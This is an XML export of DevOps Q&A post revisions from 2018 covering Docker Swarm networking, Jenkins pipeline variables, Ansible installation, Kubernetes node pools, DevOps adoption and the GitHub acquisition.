  <row Id="13278" PostHistoryTypeId="2" PostId="4235" RevisionGUID="500ac7c9-1b03-4f70-a533-0156639a284d" CreationDate="2018-06-03T21:57:41.360" UserId="4175" Text="&gt; Have you been in this scenario before? &#xD;&#xA;&#xD;&#xA;Yes. Pretty standard scenario in my experience.&#xD;&#xA;&#xD;&#xA;&gt; How did you address and overcome these obstacles? &#xD;&#xA;&#xD;&#xA;In very small steps.&#xD;&#xA;&#xD;&#xA;&gt; How long did it take to implement? (as a rough idea)&#xD;&#xA;&#xD;&#xA;Very long; in one rather large extreme case: over 10 years, and still ongoing.&#xD;&#xA;&#xD;&#xA;&gt; How would you prioritize the tasks listed above?&#xD;&#xA;&#xD;&#xA;My priority, with additional comments:&#xD;&#xA;&#xD;&#xA;* Throw all active projects into source control.&#xD;&#xA; * This should really be a no-brainer and low-hanging fruit.&#xD;&#xA;* Implement coding standards.&#xD;&#xA;  * Sensibly.&#xD;&#xA;* Introduce a methodology more suited to how the team currently operates, most likely Agile or Scrum and the tools and documentation templates that go with it.&#xD;&#xA;  * If there is no methodology at all right now, then I'd start with a very lenient Kanban first - which basically just means throw up a ticket system and keep track of everything relentlessly. I would hold off with full-fledged Scrum until everything is on track and you're established as a Good Guy.&#xD;&#xA;* Implement staging so that we have Dev, QA, UAT and Live.&#xD;&#xA;  * With this goes more separation; i.e. devs need to be weaned off of the production systems. &#xD;&#xA;* Introduce tooling and setup training for development team.&#xD;&#xA;  * Try to have the teams develop their own tools if at all possible.&#xD;&#xA;* Implement CI/CD&#xD;&#xA;* Bring all projects up to using the same technologies.&#xD;&#xA;  * Might just not be feasible, if by technologies you mean languages and libraries. If you mean Docker or OpenShift or whatever, then sure.&#xD;&#xA;&#xD;&#xA;The most important tip for you from my experience: avoid, at all cost, to do everything yourself. Give &quot;impulses&quot; to the teams, but they have to do it (whatever &quot;it&quot; is) themselves. If you do all the work (either personally, or with your separate &quot;DevOps team&quot;), then you will, at the end of the day, not gain that much as everybody will just depend on you constantly." ContentLicense="CC BY-SA 4.0" />
  <row Id="13279" PostHistoryTypeId="5" PostId="4226" RevisionGUID="08513df4-171f-4974-988b-33b341db594e" CreationDate="2018-06-04T03:05:35.587" UserId="739" Comment="formatting commands" Text="Found the origin of the issue, and unless someone else had run into it they wouldn't have known where to look --&#xD;&#xA;&#xD;&#xA;check details of `tower-cli --version` and `ansible --version`, as well as `which tower-cli` `which ansible`;  in my case were installed in *different* python environments:&#xD;&#xA;&#xD;&#xA;&gt; /usr/lib/python**2.6**/site-packages/ansible&#xD;&#xA;&#xD;&#xA;&gt; /usr/lib/python**3.4**/site-packages/tower_cli&#xD;&#xA;&#xD;&#xA;The ansible modules couldn't see the tower_cli python modules as they were in a different python environment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;After-the-fact problem origin:  I had installed **`ansible` via `yum`** (package manager), and **`ansible-tower-cli` via `pip`** (python installer).  Being consistent in how you install both to make sure they go to the same environment resolves the issue.&#xD;&#xA;&#xD;&#xA;_Centos/RHEL_: `yum install ansible ansible-tower-cli`&#xD;&#xA;&#xD;&#xA;-OR-&#xD;&#xA;&#xD;&#xA;_Python_:  `pip install ansible`&#xD;&#xA;&#xD;&#xA;_Python_:  `pip install ansible-tower-cli`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13280" PostHistoryTypeId="24" PostId="4226" RevisionGUID="08513df4-171f-4974-988b-33b341db594e" CreationDate="2018-06-04T03:05:35.587" Comment="Proposed by 739 approved by 40, 47 edit id of 706" ContentLicense="CC BY-SA 4.0" />
  <row Id="13281" PostHistoryTypeId="2" PostId="4236" RevisionGUID="dfe87cd3-dce7-41e2-a276-0d5b87c70703" CreationDate="2018-06-04T03:54:33.493" UserId="47" Text="I'd prioritize things like this:&#xD;&#xA;&#xD;&#xA;1. put all projects in version control&#xD;&#xA;&#xD;&#xA;2. automate the builds and immediately/simultaneously bring up CI with those builds - this is important to prevent the teams not yet used with version control from falling into the branching nightmare trap - they will start appreciating the CI fast feedback, even if just for the build portion, they'll start gaining confidence into all these upcoming changes which could be quite scary for them&#xD;&#xA;&#xD;&#xA;3. create at least one staging environment, automate deployments to it, start building/growing automated testing and hook them all up to the CI system - now they'll have fast feedback including testing&#xD;&#xA;&#xD;&#xA;I consider the above absolutely necessary to still be able to maintain the current projects without draining all resources on it, before considering other tools/technology changes, building the rest of the CI/CD pipeline, going into re-works, bring agile into the picture, etc." ContentLicense="CC BY-SA 4.0" />
  <row Id="13288" PostHistoryTypeId="2" PostId="4239" RevisionGUID="c668d85a-35ef-4c93-bdbf-df32c82c0543" CreationDate="2018-06-04T08:19:47.250" UserId="8180" Text="Situation:&#xD;&#xA;&#xD;&#xA; 1. docker swarm with 3+ nodes&#xD;&#xA; 2. service running in the swarm with replicas=1 and restart=always&#xD;&#xA; 3. swarm hosts have multiple interfaces - one for each vlan, with the same name&#xD;&#xA; 4. service is deployed as a stack &#xD;&#xA;&#xD;&#xA;I want to replace a service running in a VM on a static IP with the same one running docker, but I need to have the same SERVICE_IP on the ETH_SERVER interface.&#xD;&#xA;&#xD;&#xA;What options do I have for one or more services to have static ips ?&#xD;&#xA;&#xD;&#xA;A. added ipv4_address in docker stack yml - does not seem to be implemented in docker (at least not yet)&#xD;&#xA;&#xD;&#xA;B. add a new host with reverse proxies to the docker stack services&#xD;&#xA;&#xD;&#xA;C. use keepalived on the docker hosts and map SERVICE_IP - in this way if a host goes down the floating ip gets reassigned - but not sure if I could  expose ports with FLOATING_SERVICE_IP:&lt;port&gt;:&lt;port_container&gt; ...&#xD;&#xA;&#xD;&#xA;D. ... ?&#xD;&#xA;&#xD;&#xA;Are there any &quot;better&quot; ways of doing this?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13289" PostHistoryTypeId="1" PostId="4239" RevisionGUID="c668d85a-35ef-4c93-bdbf-df32c82c0543" CreationDate="2018-06-04T08:19:47.250" UserId="8180" Text="Options to assign a static ip to a service running in docker swarm" ContentLicense="CC BY-SA 4.0" />
  <row Id="13290" PostHistoryTypeId="3" PostId="4239" RevisionGUID="c668d85a-35ef-4c93-bdbf-df32c82c0543" CreationDate="2018-06-04T08:19:47.250" UserId="8180" Text="&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13296" PostHistoryTypeId="5" PostId="4239" RevisionGUID="da75fa83-e39b-4b20-8747-3c4e974ab3c2" CreationDate="2018-06-04T11:40:24.543" UserId="8180" Comment="added 621 characters in body" Text="Situation:&#xD;&#xA;&#xD;&#xA; 1. docker swarm with 3+ nodes&#xD;&#xA; 2. service running in the swarm with replicas=1 and restart=always&#xD;&#xA; 3. swarm hosts have multiple interfaces - one for each vlan, with the same name&#xD;&#xA; 4. service is deployed as a stack &#xD;&#xA;&#xD;&#xA;I want to replace a service running in a VM on a static IP with the same one running docker, but I need to have the same SERVICE_IP on the ETH_SERVER interface.&#xD;&#xA;&#xD;&#xA;What options do I have for one or more services to have static ips ?&#xD;&#xA;&#xD;&#xA;A. added ipv4_address in docker stack yml - does not seem to be implemented in docker (at least not yet)&#xD;&#xA;&#xD;&#xA;B. add a new host with reverse proxies to the docker stack services&#xD;&#xA;&#xD;&#xA;C. use keepalived on the docker hosts and map SERVICE_IP - in this way if a host goes down the floating ip gets reassigned - but not sure if I could  expose ports with FLOATING_SERVICE_IP:&lt;port&gt;:&lt;port_container&gt; ...&#xD;&#xA;&#xD;&#xA;D. ... ?&#xD;&#xA;&#xD;&#xA;Are there any &quot;better&quot; ways of doing this?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I tried doing this:&#xD;&#xA;&#xD;&#xA;on each docker host:&#xD;&#xA;&#xD;&#xA;    docker network create --config-only --subnet=&quot;&lt;CIDR&gt;&quot; --ip-range=&quot;&lt;CIDR&gt;&quot; -o parent=&quot;INTERFACE&quot; &quot;vlan_name_intermediate&quot;&#xD;&#xA;&#xD;&#xA;and then a global network for the whole swarm&#xD;&#xA;&#xD;&#xA;    docker network create -d macvlan --scope swarm --config-from &quot;vlan_name_intermediate&quot; &quot;vlan_name&quot;&#xD;&#xA;&#xD;&#xA;Now if I attach a service to network &quot;vlan_name&quot; i can ping it from inside that vlan, but the IP is randomly assigned, not static. I tried adding this to the compose yaml file:&#xD;&#xA;&#xD;&#xA;    ipv4_address: &quot;192.168.45.56&quot;&#xD;&#xA;&#xD;&#xA;where the ip is inside the CIDR ip-range, but the setting is ignored" ContentLicense="CC BY-SA 4.0" />
  <row Id="13297" PostHistoryTypeId="5" PostId="4225" RevisionGUID="5afcd61b-b347-4ca0-834d-eb3688a16997" CreationDate="2018-06-04T14:06:38.210" UserId="8156" Comment="added 193 characters in body" Text="I am using the Build User Vars [Plugin][1] which sets various variables in the pipeline. Here is what I am currently trying:&#xD;&#xA;&#xD;&#xA;    wrap([$class: 'BuildUser']) {&#xD;&#xA;        def safeBuildUser = binding.hasVariable('BUILD_USER') ? BUILD_USER : &quot;unknown&quot;&#xD;&#xA;        echo &quot;${safeBuildUser}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;There are times when the plugin does not set the variable. For instance, when the build was launched by an SCM branch scan. When that happens, I receive: &#xD;&#xA;&#xD;&#xA;    groovy.lang.MissingPropertyException: No such property: BUILD_USER for class: groovy.lang.Binding&#xD;&#xA;&#xD;&#xA;Using `binding.hasVariable` does not appear to work because all of the builds now show &quot;unknown&quot;.&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Build+User+Vars+Plugin&#xD;&#xA;&#xD;&#xA;In addition to the above, I also tried the following with no luck:&#xD;&#xA;&#xD;&#xA;    def safeBuildUser = BUILD_USER?: &quot;unknown&quot; &#xD;&#xA;and / or &#xD;&#xA;&#xD;&#xA;    def safeBuildUser = binding['BUILD_USER']?: &quot;unknown&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13298" PostHistoryTypeId="5" PostId="4225" RevisionGUID="22ebd731-b0a6-41b2-950c-963acb1d4960" CreationDate="2018-06-04T14:16:13.080" UserId="8156" Comment="added 56 characters in body" Text="I am using the Build User Vars [Plugin][1] which sets various variables in the pipeline. Here is what I am currently trying:&#xD;&#xA;&#xD;&#xA;    wrap([$class: 'BuildUser']) {&#xD;&#xA;        def safeBuildUser = binding.hasVariable('BUILD_USER') ? BUILD_USER : &quot;unknown&quot;&#xD;&#xA;        echo &quot;${safeBuildUser}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;There are times when the plugin does not set the variable. For instance, when the build was launched by an SCM branch scan. When that happens, I receive: &#xD;&#xA;&#xD;&#xA;    groovy.lang.MissingPropertyException: No such property: BUILD_USER for class: groovy.lang.Binding&#xD;&#xA;&#xD;&#xA;Using `binding.hasVariable` does not appear to work because all of the builds now show &quot;unknown&quot;.&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Build+User+Vars+Plugin&#xD;&#xA;&#xD;&#xA;In addition to the above, I also tried the following with no luck:&#xD;&#xA;&#xD;&#xA;    def safeBuildUser = BUILD_USER?: &quot;unknown&quot; &#xD;&#xA;    def safeBuildUser = binding['BUILD_USER']?: &quot;unknown&quot;&#xD;&#xA;    def safeBuildUser = binding.variables['BUILD_USER']?: &quot;unknown&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13300" PostHistoryTypeId="50" PostId="4058" RevisionGUID="30fe0c01-bcaf-4788-9a13-d343220ba66c" CreationDate="2018-06-04T17:28:29.380" UserId="-1" />
  <row Id="13301" PostHistoryTypeId="2" PostId="4240" RevisionGUID="04794145-6e6a-4b82-a604-bea898aef665" CreationDate="2018-06-04T17:42:47.593" UserId="8185" Text="I have written my own simple docker image https://hub.docker.com/r/briomkez/ethereum-test/. It works fine.&#xD;&#xA;&#xD;&#xA;Then I created my docker swarm with only two nodes a master and a slave and started a service with the following command:&#xD;&#xA;&#xD;&#xA;`docker service create  --mode global --name benchmark briomkez/ethereum-test`&#xD;&#xA;&#xD;&#xA;It loops, because it cannot create the service (the default command is a simple `ls`). &#xD;&#xA;&#xD;&#xA;Why does this happen? Is it expected?&#xD;&#xA;&#xD;&#xA;If I run the same service with a different command, e.g.:&#xD;&#xA;&#xD;&#xA;`docker service create  --mode global --name benchmark briomkez/ethereum-test geth`&#xD;&#xA;&#xD;&#xA;It works like a charm.&#xD;&#xA;&#xD;&#xA;Is this behavior expected, what is the motivation for the loop?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13302" PostHistoryTypeId="1" PostId="4240" RevisionGUID="04794145-6e6a-4b82-a604-bea898aef665" CreationDate="2018-06-04T17:42:47.593" UserId="8185" Text="Docker Swarm loop" ContentLicense="CC BY-SA 4.0" />
  <row Id="13303" PostHistoryTypeId="3" PostId="4240" RevisionGUID="04794145-6e6a-4b82-a604-bea898aef665" CreationDate="2018-06-04T17:42:47.593" UserId="8185" Text="&lt;docker&gt;&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13304" PostHistoryTypeId="2" PostId="4241" RevisionGUID="3290f4ae-5da3-4566-a2b3-4b86c273cd70" CreationDate="2018-06-04T17:59:54.167" UserId="7730" Text="Docker containers are isolated applications. When the application that it launches exits, the container also exits. So when your command is `ls`, that will run and then exit almost immediately, stopping the container.&#xD;&#xA;&#xD;&#xA;Swarm mode has the goal to maintain a target state for your containers. By default, it will keep a single replica (instance of a container) of the service running. If the current state does not match the target state, it will take action to correct the issue. So for a container that has no running instances and a target replica count of 1, it will be constantly started.&#xD;&#xA;&#xD;&#xA;So yes, this is an expected behavior given the inputs. Instead of `ls`, you should be using a long running daemon process." ContentLicense="CC BY-SA 4.0" />
  <row Id="13311" PostHistoryTypeId="5" PostId="4240" RevisionGUID="bb0465da-5b8e-4553-b5db-1a3c7dab04aa" CreationDate="2018-06-05T06:05:14.807" UserId="6375" Comment="Format content" Text="I have written my own simple docker [image][1]. It works fine.&#xD;&#xA;&#xD;&#xA;Then I created my docker swarm with only two nodes a master and a slave and started a service with the following command:&#xD;&#xA;&#xD;&#xA;`docker service create  --mode global --name benchmark briomkez/ethereum-test`&#xD;&#xA;&#xD;&#xA;It loops, because it cannot create the service (the default command is a simple `ls`). &#xD;&#xA;&#xD;&#xA;Why does this happen? Is it expected?&#xD;&#xA;&#xD;&#xA;If I run the same service with a different command, e.g.:&#xD;&#xA;&#xD;&#xA;`docker service create  --mode global --name benchmark briomkez/ethereum-test geth`&#xD;&#xA;&#xD;&#xA;It works like a charm. Is this behavior expected, what is the motivation for the loop?&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/r/briomkez/ethereum-test" ContentLicense="CC BY-SA 4.0" />
  <row Id="13312" PostHistoryTypeId="24" PostId="4240" RevisionGUID="bb0465da-5b8e-4553-b5db-1a3c7dab04aa" CreationDate="2018-06-05T06:05:14.807" Comment="Proposed by 6375 approved by 8185 edit id of 708" ContentLicense="CC BY-SA 4.0" />
  <row Id="13315" PostHistoryTypeId="2" PostId="4245" RevisionGUID="eb54b4fa-c805-4ac9-b014-2e6832b085bb" CreationDate="2018-06-05T12:58:53.520" UserId="8189" Text="Currently what you are asking for is not possible. This is due to the way that the Jenkinsfile is loaded into the pipeline.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I think [dolphy][1] said it best on [this StackOverflow answer][2] (I saved this link a while ago to follow it for changes, because I had the same questions):&#xD;&#xA;&#xD;&#xA;&gt; Jenkins does not know about the new parameters until it retrieves, parses, and runs the Jenkinsfile, and the only way to do that is to...run a build.&#xD;&#xA;&#xD;&#xA;&gt; In effect, the build history will always be &quot;one run behind&quot; the Jenkinsfile; when you change something in the Jenkinsfile, the next build will run with the &quot;old&quot; Jenkinsfile, but pick up and process the new Jenkinsfile for the build after that.&#xD;&#xA;&#xD;&#xA;There is also a [related Jenkins Ticket][3] you can follow&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/users/772208/dolphy&#xD;&#xA;  [2]: https://stackoverflow.com/a/46813693/1561176&#xD;&#xA;  [3]: https://issues.jenkins-ci.org/browse/JENKINS-41929" ContentLicense="CC BY-SA 4.0" />
  <row Id="13316" PostHistoryTypeId="2" PostId="4246" RevisionGUID="a9d9fdef-99e3-49df-a00e-9d79d394f12e" CreationDate="2018-06-05T14:29:37.937" UserId="192" Text="Solution was to put a docker pull into my launch script ... as in&#xD;&#xA;&#xD;&#xA;    docker-compose -f ${GKE_COMPOSE_YAML} pull&#xD;&#xA;&#xD;&#xA;just before issuing &#xD;&#xA;&#xD;&#xA;    docker-compose -f ${GKE_COMPOSE_YAML} up -d&#xD;&#xA;&#xD;&#xA;which seems strange since most of the time it works OK without issuing pull ... I am using a local docker registry" ContentLicense="CC BY-SA 4.0" />
  <row Id="13317" PostHistoryTypeId="2" PostId="4247" RevisionGUID="d95e1ec0-2d30-4761-807d-2c6a2f02283e" CreationDate="2018-06-05T15:37:26.267" UserId="192" Text="When starting from scratch first build a set of scripts (bash and golang) which start with a `git pull` to get the fresh code for a given branch then the script issues all the command line steps you can do yourself to compile the code into executable bundles.  This includes issuing Docker commands to cut fresh docker images for the various microservices.  Then a script launches all the various Docker containers.  Now the app can get fresh code pushed to domains where people can login and use the app from their client (mobile or browser) whenever a developer requests a domain needs a refresh.&#xD;&#xA;&#xD;&#xA;The next step for us was to setup a github webhook server on each server for each domain which subscribes to all `git push` performed by our developers.  If a given git push matches the github code branch a domain is running the webhook would trigger launch of the above script to compile then deploy the app&#xD;&#xA;&#xD;&#xA;All of above is just automation to replace what someone was originally manually issuing themselves at the command line.  As need appeared a new step was issued manually until it got crafted into above tooling.  " ContentLicense="CC BY-SA 4.0" />
  <row Id="13318" PostHistoryTypeId="2" PostId="4248" RevisionGUID="d4ba474e-efa2-4266-960d-f6eb565f416f" CreationDate="2018-06-05T17:51:30.307" UserId="8194" Text="Couple of questions here: a) what the concept of Pod object satisfies? There is the  pause container which holds the namespace for the actual ‘app’ container(s) that will get added later and use that namespace. So, what operations in real life qualify to have more than one containers running in a Pod ? Can you provide to the point examples? What are considered sidecar operations after all?&#xA;&#xA;b) what is the threshold for e.g. N containers in the Pod that master will be able to tell that Pod is not healthy? So basically, how many containers in a Pod need to be down to mark the Pod down?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13319" PostHistoryTypeId="1" PostId="4248" RevisionGUID="d4ba474e-efa2-4266-960d-f6eb565f416f" CreationDate="2018-06-05T17:51:30.307" UserId="8194" Text="Pod object and Pod’s health" ContentLicense="CC BY-SA 4.0" />
  <row Id="13320" PostHistoryTypeId="3" PostId="4248" RevisionGUID="d4ba474e-efa2-4266-960d-f6eb565f416f" CreationDate="2018-06-05T17:51:30.307" UserId="8194" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13321" PostHistoryTypeId="50" PostId="3816" RevisionGUID="ccca0a78-1c88-4e80-b54c-fbd1f9bca8c0" CreationDate="2018-06-05T20:39:29.077" UserId="-1" />
  <row Id="13322" PostHistoryTypeId="2" PostId="4249" RevisionGUID="24958636-e5af-48d5-ad3c-b19299d3719e" CreationDate="2018-06-05T20:49:36.157" UserId="210" Text="https://en.wikipedia.org/wiki/Authority_bias&#xD;&#xA;&#xD;&#xA;&gt; Authority bias is the tendency to attribute greater accuracy to the&#xD;&#xA;&gt; opinion of an authority figure (unrelated to its content) and be more&#xD;&#xA;&gt; influenced by that opinion. The Milgram experiment in 1961 was the&#xD;&#xA;&gt; classic experiment that established its existence.&#xD;&#xA;&#xD;&#xA;I have experienced that some people that have a lot of influence promote silos and are anti DevOps. How to deal with this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13323" PostHistoryTypeId="1" PostId="4249" RevisionGUID="24958636-e5af-48d5-ad3c-b19299d3719e" CreationDate="2018-06-05T20:49:36.157" UserId="210" Text="How to deal with authority bias?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13324" PostHistoryTypeId="3" PostId="4249" RevisionGUID="24958636-e5af-48d5-ad3c-b19299d3719e" CreationDate="2018-06-05T20:49:36.157" UserId="210" Text="&lt;culture&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13325" PostHistoryTypeId="2" PostId="4250" RevisionGUID="641cd44f-226b-4286-90b3-5a96e5d4f9b2" CreationDate="2018-06-05T21:32:57.580" UserId="8198" Text="I believe in 'fail fast' but it's also important to tackle understanding an opportunity in the right way.&#xD;&#xA;&#xD;&#xA;If you come up with an idea, code in a vacuum for a bit, then release it to people, you will undoubtedly fail fast, but not in a way you would like.&#xD;&#xA;A better approach is if you come up with an idea, clearly articulate your hypotheses on why you think it's a great idea, then validate that idea with potential clients to see what **they** think. This will give you a great opportunity to clarify the idea, refine it, and possibly reject it outright. &#xD;&#xA;&#xD;&#xA;I never cease to be amazed at how much my initial idea improves from just a little collaboration with people that I would want to 'sell' it to. And - to be honest, I've discovered why many of my ideas really weren't all that great - and shelved them fast (before any code was written often).&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13329" PostHistoryTypeId="2" PostId="4252" RevisionGUID="9ff3805f-c4e6-4596-afec-6231153f1a6a" CreationDate="2018-06-06T04:12:17.207" UserId="47" Text="I bet you're not the only one with such experiences :)&#xD;&#xA;&#xD;&#xA;One possible approach today (which wasn't available in the early DevOps days) is to counter-argument with the many research-based publications from industry-recognized influencers. Like [Accelerate][1] or [2017 State of DevOps Report][2] to name a few.&#xD;&#xA;&#xD;&#xA;Another approach could be to propose and implement DevOps-based pilot projects to actually measure and compare performance parameters against the existing silo'd solutions. This *could* be tricky, though, as those influencers could insist on requirements cornering the pilot projects. For example insisting on individual/small team development speed which could be an obstacle for optimizing and speeding up the overall larger/entire project team's development.&#xD;&#xA;&#xD;&#xA;  [1]: https://itrevolution.com/book/accelerate/&#xD;&#xA;  [2]: https://puppet.com/resources/whitepaper/state-of-devops-report" ContentLicense="CC BY-SA 4.0" />
  <row Id="13330" PostHistoryTypeId="2" PostId="4253" RevisionGUID="7ede34dd-8fbe-46f5-b0a6-404226e3a41b" CreationDate="2018-06-06T07:40:13.630" UserId="8189" Text="I am using Google Kubernetes Engine.&#xD;&#xA;I have a multiple Kubernetes cluster node-pools.&#xD;&#xA;I want to delete one of them.&#xD;&#xA;&#xD;&#xA;Is there a way that I can first migrate all the pods on one node-pool to another node-pool through the same kind of rolling update methods found in other features?&#xD;&#xA;&#xD;&#xA;I thought it would do this automatically for me.&#xD;&#xA;But when I deleted the node-pool I got downtime, luckily this was not a production environment. &#xD;&#xA;&#xD;&#xA;I would like to know if there is a way to automatically migrate and move all pods from one node-pool to another node-pool and slowly roll the change when a node-pool is removed?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13331" PostHistoryTypeId="1" PostId="4253" RevisionGUID="7ede34dd-8fbe-46f5-b0a6-404226e3a41b" CreationDate="2018-06-06T07:40:13.630" UserId="8189" Text="How to Remove a Kubernetes (GKE) Cluster node-pool without down-time" ContentLicense="CC BY-SA 4.0" />
  <row Id="13332" PostHistoryTypeId="3" PostId="4253" RevisionGUID="7ede34dd-8fbe-46f5-b0a6-404226e3a41b" CreationDate="2018-06-06T07:40:13.630" UserId="8189" Text="&lt;kubernetes&gt;&lt;google-cloud-platform&gt;&lt;google-compute-engine&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13333" PostHistoryTypeId="2" PostId="4254" RevisionGUID="05f83f0d-4d0b-4f31-9db1-7e7f3344cda9" CreationDate="2018-06-06T07:58:32.210" UserId="8206" Text="The benefits as I see them are the general reasons to use Azure Key Vault&#xD;&#xA;&#xD;&#xA; - Secrets are centrally stored with options for authorization, auditing, etc.&#xD;&#xA; - Azure can be scripted to update the secrets on a timer - so in case a connection string gets in to the wrong hands, it is only valid for a day (or a week, or whatever)&#xD;&#xA; - In case the secret is shared between multiple applications, you only have to update it in one place (not the greatest benefit, but still nice)" ContentLicense="CC BY-SA 4.0" />
  <row Id="13334" PostHistoryTypeId="2" PostId="4255" RevisionGUID="294b19a6-9832-45cc-a273-f4a412c40a11" CreationDate="2018-06-06T09:03:07.743" UserId="8209" Text="Hope this question is not to theoretical or open...&#xD;&#xA;&#xD;&#xA;We are working on a big Java project where we use JUnit tests. Our Jenkins helps us to monitor the code coverage and shows us the progress we make with this.&#xD;&#xA;&#xD;&#xA;But there seems to be something lacking here. In our case, one of the apps results in a zip file with datafiles generated based on different source files.&#xD;&#xA;&#xD;&#xA;All code to generate these datafiles is covered, but that doesn't tell us if the content of the generated files itself are OK. Is this just a matter of generating additional JUnit tests and rely on the knowledge of the team to know what needs to be tested? Or can this be controlled and monitored in some way?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13335" PostHistoryTypeId="1" PostId="4255" RevisionGUID="294b19a6-9832-45cc-a273-f4a412c40a11" CreationDate="2018-06-06T09:03:07.743" UserId="8209" Text="Code coverage versus functional coverage" ContentLicense="CC BY-SA 4.0" />
  <row Id="13336" PostHistoryTypeId="3" PostId="4255" RevisionGUID="294b19a6-9832-45cc-a273-f4a412c40a11" CreationDate="2018-06-06T09:03:07.743" UserId="8209" Text="&lt;jenkins&gt;&lt;testing&gt;&lt;builds&gt;&lt;code-coverage&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13340" PostHistoryTypeId="2" PostId="4257" RevisionGUID="53e5847b-5b97-42c5-87ab-186f7f008809" CreationDate="2018-06-06T15:19:07.393" UserId="8198" Text="The way I would approach this would be to have a second part of the junit test that reads the generated zip file and then verifies it is correct. You are right that if you are only ensuring you can generate the file, but the file is incorrect, the unit test is incomplete." ContentLicense="CC BY-SA 4.0" />
  <row Id="13350" PostHistoryTypeId="50" PostId="3575" RevisionGUID="fc9b3ec6-ae29-4814-bf4c-764d4302f817" CreationDate="2018-06-06T20:03:43.240" UserId="-1" />
  <row Id="13351" PostHistoryTypeId="2" PostId="4260" RevisionGUID="9a8ffe09-1fa8-4e14-80fb-0152f9208cc3" CreationDate="2018-06-06T20:05:19.557" UserId="210" Text="When one navigates to github.com it is announced that Microsoft has acquired Github. &#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;There are some rumors that multiple projects were migrated to other git providers like gitlab and bitbucket. What effect will the acquisition have from a DevOps perspective? To be more specific, the integration of Travis and GitHub works out of the box? Should one worry? E.g. will users have to buy licenses in order to use GitHub? Will the travisci integration be neglected?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/g9v6z.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="13352" PostHistoryTypeId="1" PostId="4260" RevisionGUID="9a8ffe09-1fa8-4e14-80fb-0152f9208cc3" CreationDate="2018-06-06T20:05:19.557" UserId="210" Text="What are the expected effects of the acquisition of GitHub by Microsoft?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13353" PostHistoryTypeId="3" PostId="4260" RevisionGUID="9a8ffe09-1fa8-4e14-80fb-0152f9208cc3" CreationDate="2018-06-06T20:05:19.557" UserId="210" Text="&lt;github&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13355" PostHistoryTypeId="2" PostId="4261" RevisionGUID="506c955c-c0bd-4ad1-b641-2f6ed400b87e" CreationDate="2018-06-06T20:56:49.893" UserId="2845" Text="Microsoft has heavily invested in their [Git Virtual File System](https://github.com/Microsoft/GVFS). It is unlikely then that such a key system central to Microsoft's internal development processes will be going anywhere any time soon, and GitHub is a smart dovetail with Microsoft's portfolio and strategic direction.&#xD;&#xA;&#xD;&#xA;[Microsoft has recently been moving towards more freemium services](https://www.cio.com/article/3029322/software/why-microsoft-continues-to-embrace-the-freemium-model.html) - which GitHub already is - and [moving](https://www.cnbc.com/2018/06/04/microsoft-ceo-satya-nadella-on-github-we-are-all-in-on-open-source.html) towards [open source](https://www.cnbc.com/2018/06/04/microsoft-ceo-satya-nadella-on-github-we-are-all-in-on-open-source.html) - the company was one of the [top contributors to open source in 2017](https://medium.freecodecamp.org/the-top-contributors-to-github-2017-be98ab854e87). Other notable examples are things like:&#xD;&#xA;&#xD;&#xA; - The [Linux Subsystem for Windows](https://docs.microsoft.com/en-us/windows/wsl/install-win10)&#xD;&#xA; - The [open-sourcing of power shell](https://github.com/PowerShell/PowerShell) &#xD;&#xA; - [Contributions to the Linux Kernel](https://unix.stackexchange.com/questions/178615/why-does-microsoft-contribute-to-the-linux-kernel)&#xD;&#xA;&#xD;&#xA;This also provides a strategic opportunity to integrate Visual Studio (which [already has pretty good integration with Git](https://docs.microsoft.com/en-us/vsts/git/gitquickstart?view=vsts&amp;tabs=visual-studio)) more tightly.&#xD;&#xA;&#xD;&#xA;In short, Microsoft will probably do very little to harm GitHub - it will only work to make it solvent. This will be a difficult balancing act, as Microsoft must be careful not to alienate developers but they may have to end the gravy train as [GitHub has been bleeding](https://www.bloomberg.com/news/articles/2016-12-15/github-is-building-a-coder-s-paradise-it-s-not-coming-cheap) money. Ultimately this is likely to be a good thing for the developer community, but at worst it will look like the migration from SourceForge to whatever new and shiny hot young thing is." ContentLicense="CC BY-SA 4.0" />
  <row Id="13356" PostHistoryTypeId="50" PostId="2412" RevisionGUID="1bf9b7cc-995b-4ce6-967f-0b6424e10467" CreationDate="2018-06-06T21:03:45.610" UserId="-1" />
